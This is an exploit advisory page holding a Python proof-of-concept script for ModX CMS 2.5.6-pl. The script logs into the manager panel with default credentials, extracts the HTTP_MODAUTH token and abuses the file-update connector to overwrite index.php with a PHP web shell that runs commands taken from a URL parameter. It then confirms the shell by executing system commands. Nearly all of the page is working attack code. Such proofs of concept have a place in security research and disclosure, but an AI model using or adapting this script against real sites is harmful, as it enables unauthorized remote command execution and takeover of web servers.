seeing is believing

ModX CMS Proof Of Concept Shell Upload

ModX CMS Proof Of Concept Shell Upload
Posted May 31, 2017
Authored by Cody Sixteen

This proof of concept code shows how manager functionality can be abused in ModX CMS to upload a shell.

tags | exploit, shell, proof of concept
MD5 | 4a9e82ae99c6a9dbf9554d110145a1a4

ModX CMS Proof Of Concept Shell Upload

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c@kali:~/src/Napalm2.2/libs$ cat shell-modxcms.py
#!/usr/bin/env python
# shell-modxcms.py - upload shell for modx 2.5.6-pl
#
# !! we need rwx in modx-webdir to go ;Z
#
# 30.05.217 @ code610 blogspot com
#

import requests
import re

target=raw_input("Hostname> ")

print '[+] Preparing tests for ' + str(target)

session = requests.session()
sesslink = target + '/manager/'

print '[+] Preparing login request...'

data_login = {
'login_context':'mgr',
'modahsh':'',
'returnUrl':'/manager/',
'username':'user',
'password':'bitnami',
'login':'1'
}
data_link = sesslink
doLogin = session.post(data_link, data=data_login)
loginResp = doLogin.text

if 'Logout' in loginResp:
print '[+] We are logged in ;]'

# grab HTTP_MODAUTH to build params for shelluprequest
modlink = target + '/manager/?a=media/browser'
getmod = session.get(modlink)
getmodresp = getmod.text

modfind = re.compile('auth:"(.*?)"')
modfound = re.search(modfind, loginResp)

if modfound:
token = modfound.group(1)

print '[+] Found HTTP_MODAUTH token:', token

# preparing shellup req
shell_data = {
'action':'browser/file/update',
'HTTP_MODAUTH':token,
'wctx':'',
'source':'1',
'file':'index.php',
'content':'<?php system($_GET["x"]);'
}
shheader = {'modAuth':token}
shellreq = target + '/connectors/index.php'
shellup = session.post(shellreq, data=shell_data, headers=shheader)
shresp = shellup.text

print '[+] Shell should be ready now. Verifying:'
shellme = target + '/index.php?x=id;uname -a;pwd'
shverif = requests.get(shellme)
print shverif.text

print ''

c@kali:~/src/Napalm2.2/libs$

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